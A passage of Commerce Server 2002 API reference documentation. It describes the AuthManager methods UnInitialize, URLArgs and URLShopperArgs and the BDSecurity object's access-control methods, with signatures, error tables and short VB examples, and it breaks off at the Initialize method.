This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHID_INVALID_CHARACTER_PRESENT | [C++] 0xC1004C23 [Visual Basic] &HC1004C23 | Invalid character (';' or '%' or '=') present in the user ID.
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
MSG_UPM_AUTHID_TICKET_MAX_REACHED | [C++] 0xC1004C40 [Visual Basic] &HC1004C40 | The ticket has reached a maximum size of 4 Kilobytes of data.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The value for the user ID may be the logon name for a registered user, a globally unique identifier (GUID) for an anonymous user, or any unique value.

If the ticket does not exist, a ticket is created with default values for the rest of the data. If the appropriate ticket already exists, the value in the user ID is updated.

The following table defines the possible values for the EnumMSCS_TicketType.

Name | Value | Description
enumMSCS_ProfileTicketType | 1 | A MSCSProfile ticket used for an anonymous user.
enumMSCS_AuthTicketType | 2 | A MSCSAuth ticket used for a registered user.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetUserID enumMSCS_AuthTicketType, "JoeUser@microsoft.com"

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::UnInitialize Method [C++]

AuthManager.UnInitialize Method [Visual Basic]

Use this method to delete the site-specific configuration resource properties from the cache when the site is no longer valid.

Definition

[C++]
HRESULT IMSCSAuthManager::UnInitialize(
  BSTR bstrSiteName,
);
[Visual Basic]
Sub UnInitialize(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the name of the site.
bstrSiteName [Visual Basic]
[in] A String that contains the name of the site.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method must be called to disconnect the AuthManager object cache from the specified site.

The Initialize method loads the site configuration resource properties into the cache.

This method is available when the MSCSAuthManager object is instantiated outside of the context of an ASP script.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.UnInitialize(sSiteName)

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::URLArgs Method [C++]

AuthManager.URLArgs Method [Visual Basic]

Use this method to generate a URL-encoded query string of name/value pairs.

Definition

[C++]
HRESULT IMSCSAuthManager::URLArgs(
  VARIANT* pVarURLParameters,
  VARIANT* pVarURLValues,
  BSTR* pbstrRet
);
[Visual Basic]
Function URLArgs(
  pVarURLParameters As Variant,
  pVarURLValues As Variant
) As String

Parameters

pVarURLParameters [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY of parameter names.
pVarURLParameters [Visual Basic]
[in] A SafeArray that contains the parameter names.
pVarURLValues [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY of parameter values corresponding to the parameter names.
pVarURLValues [Visual Basic]
[in] A SafeArray that contains the values corresponding to the parameter names.
pbstrRet [C++]
[out, retval] A pointer to a BSTR that contains the resulting URL-encoded query string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encoded URL query string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method concatenates the parameter name/value pairs into a URL-encoded string. This method will fail if the two arrays containing the parameter names and values are not the same size.

The URLShopperArgs method performs the same URL encoding and additionally appends the ticket to the query string, if a ticket is set.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrRet parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURLArg is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku1"
saParameterNames(1) = "sku3"
saParameterValues(0) = "12345"
saParameterValues(1) = "98765"
sURLArg = oAuthManager.URLArgs(saParameterNames, saParameterValues)

' sURLArg = "?sku1=12345&sku3=98765"

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::URLShopperArgs

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.URLShopperArgs


IMSCSAuthManager2::URLShopperArgs Method [C++]

AuthManager.URLShopperArgs Method [Visual Basic]

Use this method to generate an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.

Definition

[C++]
HRESULT IMSCSAuthManager::URLShopperArgs(
  VARIANT* pVarURLParameters,
  VARIANT* pVarURLValues,
  BSTR* pbstrRet
);
[Visual Basic]
Function URLShopperArgs(
  pVarURLParameters As Variant,
  pVarURLValues As Variant
) As String

Parameters

pVarURLParameters [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY of parameter names.
pVarURLParameters [Visual Basic]
[in] A SafeArray that contains the parameter names.
pVarURLValues [C++]
[in] A pointer to a VARIANT containing a SAFEARRAY of parameter values corresponding to the parameter names.
pVarURLValues [Visual Basic]
[in] A SafeArray that contains the values corresponding to the parameter names.
pbstrRet [C++]
[out, retval] A pointer to a BSTR that contains the resulting encoded-URL query string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encoded-URL string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_API_ASP_ONLY | [C++] 0xC1004C24 [Visual Basic] &HC1004C24 | This method should only be called within an ASP page.
MSG_UPM_AUTH_SITE_NEEDED_ERROR | [C++] 0xC1004C10 [Visual Basic] &HC1004C10 | The Initialize method must be called with the installed site name before calling this method.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method concatenates the parameter name/value pairs into a URL-encoded string and appends the ticket. This is useful for shopping support without cookies. This method will fail if the two arrays containing the parameters and values are not the same size.

If both types of tickets exist, the MSCSAuth ticket takes precedence.

Use the URLArgs method to perform URL encoding of parameter/value pairs without appending the ticket.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrRet parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURLShopArg is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku1"
saParameterNames(1) = "sku3"
saParameterValues(0) = "12345"
saParameterValues(1) = "98765"
sURLShopArg = oAuthManager.URLShopperArgs(saParameterNames, saParameterValues)

' sURLShopArg =
' "?sku1=12345&sku3=98765&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E"

See Also

[C++] AuthManager Object

[C++] IMSCSAuthManager::SetProperty

[C++] IMSCSAuthManager::SetAuthTicket

[C++] IMSCSAuthManager::SetProfileTicket

[C++] IMSCSAuthManager::URLArgs

[Visual Basic] AuthManager Object

[Visual Basic] AuthManager.SetProperty

[Visual Basic] AuthManager.SetAuthTicket

[Visual Basic] AuthManager.SetProfileTicket

[Visual Basic] AuthManager.URLArgs


BDSecurity Object [C++]

BDSecurity Object [Visual Basic]

Use this object to manage security settings used to control access to various functionality of Commerce Server Business Desk. These security settings are maintained in the Commerce Server database in the Security Definition Tables (SDT), which is comprised of the BDSecurityDefinition and BDSecurityIdentifiers database tables.

ProgID: | Commerce.BDSecurity (Externally creatable)
COM Class Name: | BDSecurity
Type Library Name: | BDSecurity 1.0 Type Library
DLL Name: | BDSecurity.dll
Threading Model: | Free
[C++]
COM Interface Name: | IBDSecurity
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IBDSecurity interface to access the methods of the BDSecurity object.

Methods

[C++]
Method | Description
AddAccount | Adds a new user or group account to the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
CanUserAccess | Determines whether the user has access rights to read the specified file. This method is included for backward-compatibility with Commerce Server 2000.
GetAccounts | Returns information about all of the accounts in the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetAccountsForRight | Returns information about all of the accounts associated with the specified combination of entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetPermissions | Returns permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right. This method is used by modules that make use of the Business Desk security settings to control access to various aspects of their functionality.
Initialize | Retrieves the connection string associated with the Business Desk security database and stores it within the object for use by the other methods. This method is generally only called within the page Global.asa in the course of initializing the global instance of the BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity.
RemoveAccount | Remove the account associated with the specified security identifer (SID) from the Business Desk security database. It also removes all permissions associated with that account. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
RemoveSecurityDefinitions | Removes all permission and security definition settings associated with the specified combination of entity, element, and right from the Business Desk security database. This method is used by modules to clean up the SDT when a securable element under their control is deleted.
SetPermissions | Sets permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
[Visual Basic]
Method | Description
AddAccount | Adds a new user or group account to the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
CanUserAccess | Determines whether the user has access rights to read the specified file. This method is included for backward-compatibility with Commerce Server 2000.
GetAccounts | Returns information about all of the accounts in the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetAccountsForRight | Returns information about all of the accounts associated with the specified combination of entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetPermissions | Returns permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right. This method is used by modules that make use of the Business Desk security settings to control access to various aspects of their functionality.
Initialize | Retrieves the connection string associated with the Business Desk security database and stores it within the object for use by the other methods. This method is generally only called within the page Global.asa in the course of initializing the global instance of the BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity.
RemoveAccount | Remove the account associated with the specified security identifer (SID) from the Business Desk security database. It also removes all permissions associated with that account. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
RemoveSecurityDefinitions | Removes all permission and security definition settings associated with the specified combination of entity, element, and right from the Business Desk security database. This method is used by modules to clean up the SDT when a securable element under their control is deleted.
SetPermissions | Sets permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.

Remarks

The methods provided by this object (other than the method CanUserAccess, which is provided for backward-compatibility with Commerce Server 2000) are used to manage the security settings stored in a pair of SQL tables, collectively known as the Security Definition Tables (SDT). In general, these methods are thin wrappers for underlying SQL stored procedures. Business Desk modules typically only call the GetPermissions method to retrieve the relevant security settings for the current user. How these settings are used to control and limit functionality within the module is entirely module-specific.

The following table shows the Business Desk feature areas that make use of the Business Desk security functionality in Commerce Server 2002.

Feature Area | Security Entities
Framework | Categories, modules, tasks
Catalogs | Catalogs, categories, property definitions
Profiles | Properties

See the source code for the Business Desk Framework and relevant categories for examples of how these security settings can be used. Note that the catalog modules cache the security settings for each of its entities as separate XML documents associated with the current session.

Most of the methods provided by this object are only intended for design time use by the Permissions module and dialog box in Business Desk. The exceptions are the methods GetPermissions and RemoveSecurityDefinitions. At run time, Business Desk modules can use the GetPermissions method to retrieve security settings so that they can enable or disable functionality as appropriate.

Modules can also use the RemoveSecurityDefinitions method to clean up the SDT if an entity, element, or right is dynamically removed. For example, if a catalog is deleted, all security settings associated with that catalog are removed from the SDT. For more information about entities, elements, rights, and permissions in the context of Business Desk security, see Security.

See Also

Core Objects


IBDSecurity Methods [C++]

BDSecurity Methods [Visual Basic]

Methods

[C++]
Method | Description
AddAccount | Adds a new user or group account to the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
CanUserAccess | Determines whether the user has access rights to read the specified file. This method is included for backward-compatibility with Commerce Server 2002.
GetAccounts | Returns information about all of the accounts in the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetAccountsForRight | Returns information about all of the accounts associated with the specified combination of entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetPermissions | Returns permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right. This method is used by modules that make use of the Business Desk security settings to control access to various aspects of their functionality.
Initialize | Retrieves the connection string associated with the Business Desk security database and stores it within the object for use by the other methods. This method is generally only called within the page Global.asa in the course of initializing the global instance of the BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity.
RemoveAccount | Removes all accounts associated with the specified security identifer (SID) from the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
RemoveSecurityDefinitions | Removes all permission and security definition settings associated with the specified combination of entity, element, and right from the Business Desk security database. This method is used by modules to clean up the SDT when a securable element under their control is deleted.
SetPermissions | Sets permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
[Visual Basic]
Method | Description
AddAccount | Adds a new user or group account to the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
CanUserAccess | Determines whether the user has access rights to read the specified file. This method is included for backward-compatibility with Commerce Server 2002.
GetAccounts | Returns information about all of the accounts in the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetAccountsForRight | Returns information about all of the accounts associated with the specified combination of entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
GetPermissions | Returns permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right. This method is used by modules that make use of the Business Desk security settings to control access to various aspects of their functionality.
Initialize | Retrieves the connection string associated with the Business Desk security database and stores it within the object for use by the other methods. This method is generally only called within the page Global.asa in the course of initializing the global instance of the BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity.
RemoveAccount | Removes all accounts associated with the specified security identifier (SID) from the Business Desk security database. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.
RemoveSecurityDefinitions | Removes all permission and security definition settings associated with the specified combination of entity, element, and right from the Business Desk security database. This method is used by modules to clean up the SDT when a securable element under their control is deleted.
SetPermissions | Sets permission information (allow, deny, or undefined) for the specified combination of security identifier (SID), entity, element, and right. This method is intended for use by the Permissions module and dialog box and is not likely to be used within any other Business Desk modules.


IBDSecurity::AddAccount Method [C++]

BDSecurity.AddAccount Method [Visual Basic]

This method is used by the Permissions module and dialog box to add new user or group accounts to the Security Definitions Tables (SDT).

Definition

[C++]
HRESULT IBDSecurity::AddAccount(
  BSTR bstrAccountName,
  _Recordset** ppRSAccount
);
[Visual Basic]
Function AddAccount(
  bstrAccountName As String,
) As _Recordset

Parameters

bstrAccountName [C++]
[in] A BSTR that contains the account name, either with or without a domain specifier. The account name can specify an individual user or a group.
bstrAccountName [Visual Basic]
A String that contains the account name, either with or without a domain specifier. The account name can specify an individual user or a group.
ppRSAccount [C++]
[out, retval] The address of a pointer to an ADO _Recordset object used to return information about the newly added account. See the Remarks section for more details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO _Recordset object that contains information about the newly added account. See the Remarks section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

The returned record set contains a single record for the added user or group and includes the fields: SID (security identifier), AccountName, and IsGroup.

This method must be called for a particular account before the SetPermissions method is called for that account.

[Java, C++] The ppRSAccount parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsAccount is a Variant to which an ADO _Recordset object will be assigned.
' g_MSCSBizDeskSecurity is the global BD security object created in the page Global.asa.

rsAccount = g_MSCSBizDeskSecurity.AddAccount("domain1\joeuser")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::CanUserAccess Method [C++]

BDSecurity.CanUserAccess Method [Visual Basic]

Use this method to determine whether the current user has read access rights to the specified Commerce Server Business Desk module.

This method is included for backward-compatibility with Commerce Server 2002. It is not part of the new Business Desk security mechanism.

Definition

[C++]
HRESULT IBDSecurity::CanUserAccess(
  BSTR bstrPath,
  VARIANT_BOOL* pbAccessOK
);
[Visual Basic]
Function CanUserAccess(
  bstrPath As String,
) As Boolean

Parameters

bstrPath [C++]
[in] A BSTR that contains the file name and path for a Business Desk module.
bstrPath [Visual Basic]
A String that contains the file name and path for a Business Desk module.
pbAccessOK [C++]
[out, retval] The address of a VARIANT_BOOL used to return either TRUE or FALSE. A value of TRUE indicates that the current user has read access rights to the specified file. A value of FALSE indicates that the current user does not have read access rights to the specified file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean set to either True or False. A value of True indicates that the current user has read access rights to the specified file. A value of False indicates that the current user does not have read access rights to the specified file.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Whether the user has read access to the specified Business Desk module is determined from the entries in the access control lists (ACLs) set for the action page ASP file.

[C++] The pbAccessOK parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' bAccess is a Boolean
' oBDSecurity is a Commerce.BDSecurity object
' CatalogEditor.asp is an ASP page corresponding to a Business Desk module

bAccess = oBDSecurity.CanUserAccess("CatalogEditor.asp")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::GetAccounts Method [C++]

BDSecurity.GetAccounts Method [Visual Basic]

This method is used by the Permissions module and dialog box to retrieve a list of all accounts currently in the Security Definitions Tables (SDT).

Definition

[C++]
HRESULT IBDSecurity::GetAccounts(
  _Recordset** ppRSAccounts
);
[Visual Basic]
Function GetAccounts(
) As _Recordset

Parameters

ppRSAccounts [C++]
[out, retval] The address of a pointer to an ADO _Recordset object used to return information about all accounts that are currently present in the Security Definition Table (SDT). See the Remarks for section for more details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO _Recordset object used to return information about all accounts. See the Remarks section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

The returned record set contains one record per account in the SDT and includes the fields: SID (security identifier), AccountName, and IsGroup.

[C++] The ppRSAccounts parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsAccounts is a Variant to which an ADO _Recordset object
' will be assigned.
' g_MSCSBDSecurity is the global BD security object
' created in the page Global.asa.

rsAccounts = g_MSCSBDSecurity.GetAccounts

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::GetAccountsForRight Method [C++]

BDSecurity.GetAccountsForRight Method [Visual Basic]

This method is used by the Permissions module and dialog box to retrieve information about all of the accounts associated with the specified combination of entity, element, and right.

Definition

[C++]
HRESULT IBDSecurity::GetAccountsForRight(
  BSTR bstrEntity,
  VARIANT varElement
  VARIANT varRight
  _Recordset** ppRSAccounts
);
[Visual Basic]
Function GetAccountsForRight(
  bstrEntity As String,
  Optional varElement As Variant,
  Optional varRight As Variant,
) As _Recordset

Parameters

bstrEntity [C++]
[in] A BSTR that contains the name of the entity for which records will be returned.
bstrEntity [Visual Basic]
A String that contains the name of the entity for which records will be returned.
varElement [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the element for which records will be returned.
varElement [Visual Basic]
An optional Variant that contains a string specifying the name of the element for which records will be returned.
varRight [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the right for which records will be returned.
varRight [Visual Basic]
An optional Variant that contains a string specifying the name of the right for which records will be returned.
ppRSAccounts [C++]
[out, retval] The address of a pointer to an ADO _Recordset object used to return account and permission information corresponding to the provided entity, element and right. See the Remarks section for more details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO _Recordset object containing the account and permission information corresponding to the provided entity, element, and right. See the Remarks section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method will not typically be called from any Commerce Server Business Desk modules other than the Permissions module and dialog box.

The returned record set contains one record per matching account in the SDT and includes the fields: SID (security identifier), Entity, Element, Right, and Deny.

If either of the optional parameters (varElement and/or varRight), is not provided, they are treated as wildcards. In other words, records will be included in the result regardless of their element and/or right values.

[C++] The ppRSAccounts parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsAccounts is a Variant to which an ADO _Recordset object
' will be assigned.
' g_MSCSBDSecurity is the global BD security object
' created in the page Global.asa.

' Will return a Recordset containing one record for each account that
' has been explicitly set as allowed or disallowed from editing the
' shoes category within a catalog.

rsAccounts = _
    g_MSCSBDSecurity.GetAccountsForRight("Category", _
                                              "Shoes", _
                                              "edit")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::GetPermissions Method [C++]

BDSecurity.GetPermissions Method [Visual Basic]

Use this method to retrieve permission information (allow, deny, or undefined) associated with the specified combination of security identifier (SID), entity, element, and right.

Definition

[C++]
HRESULT IBDSecurity::GetPermissions(
  VARIANT varSID,
  VARIANT varEntity,
  VARIANT varElement,
  VARIANT varRight,
  _Recordset** ppRSPermissions
);
[Visual Basic]
Function GetPermissions(
  Optional varSID As Variant,
  Optional varEntity As Variant,
  Optional varElement As Variant,
  Optional varRight As Variant,
) As _Recordset

Parameters

varSID [C++]
[in, optional] An optional VARIANT that contains a string specifying the security identifier (SID) of the account for which permissions are being requested.
varSID [Visual Basic]
An optional Variant that contains a string specifying the security identifier (SID) of the account for which permissions are being requested.
varEntity [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the entity for which permissions are being requested.
varEntity [Visual Basic]
An optional Variant that contains a string specifying the name of the entity for which permissions are being requested.
varElement [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the element for which permissions are being requested.
varElement [Visual Basic]
An optional Variant that contains a string specifying the name of the element for which permissions are being requested.
varRight [C++]
[in, optional] An optional VARIANT that contains a string specifying the name of the right for which permissions are being requested.
varRight [Visual Basic]
An optional Variant that contains a string specifying the name of the right for which permissions are being requested.
ppRSPermissions [C++]
[out, retval] The address of a pointer to an ADO _Recordset object used to return the requested permission information. See the Remarks section for more details.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO _Recordset object containing the requested permission information. See the Remarks section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method should be called from Business Desk modules using the new security mechanisms to control access to various aspects of their functionality.

The returned record set contains one record for each matching entry in the Security Definitions Tables (SDT) and includes the fields: Entity, Element, Right, and Deny.

The fields Entity, Element, and Right are strings that are module-specific, and can be defined to suite the needs of the module. For more information about entities, elements, and rights, see Security.

The field Deny contains one of three numeric values, defined in the following table.

Value | Definition
0 | Allow. The current user has the right to perform the operation indicated by the corresponding Element, Entity, and Right fields.
1 | Deny. The current user does not have the right to perform the operation indicated by the corresponding Element, Entity, and Right fields.
2 | Undefined. For example, the current user has conflicting permissions for different elements of the provided entity.

If the optional parameter varSID is not specified, this function will look up and use the SIDs for the current user and for the groups to which the current user belongs. If no such SID is available, as is the case in some run-time environments such as Microsoft Visual Basic, an error will be returned.

If any of the other optional parameters (varEntity, varElement and/or varRight) are not provided, they are treated as wildcards. In other words, records will be included in the result regardless of their entity, element, and/or right values.

If no security settings are found in the SDT and the user is a member of the Administrators group, a single row Recordset object will be returned, indicating that the user does have permission to access the requested entity/element/right combination.

[C++] The ppRSPermissions parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsPermissions is a Variant to which an ADO _Recordset object
'  will be assigned.
' g_MSCSBDSecurity is the global BD security object
' created in the page Global.asa.

' Will return a Recordset containing one record for each catalog
' category entity entry in the SDT for the current user, regardless
' of their values for elements and rights.

rsPermissions = _
    g_MSCSBDSecurity.GetPermissions(, "catalog_categories")

See Also

[C++] BDSecurity Object

[Visual Basic] BDSecurity Object

Security


IBDSecurity::Initialize Method [C++]

BDSecurity.Initialize Method [Visual Basic]

This method is used on the page Global.asa to initialize the global BDSecurity object referenced by the global variable g_MSCSBizDeskSecurity. If you create your own instance of the BDSecurity object, make sure that you call this method before calling any other methods (other than the backward-compatibility method CanUserAccess).

Definition

[C++]
HRESULT IBDSecurity::Initialize(
  BSTR bstrSiteName,
);
[Visual Basic]
Sub Initialize(
  bstrSiteName As String,
)

Parameters

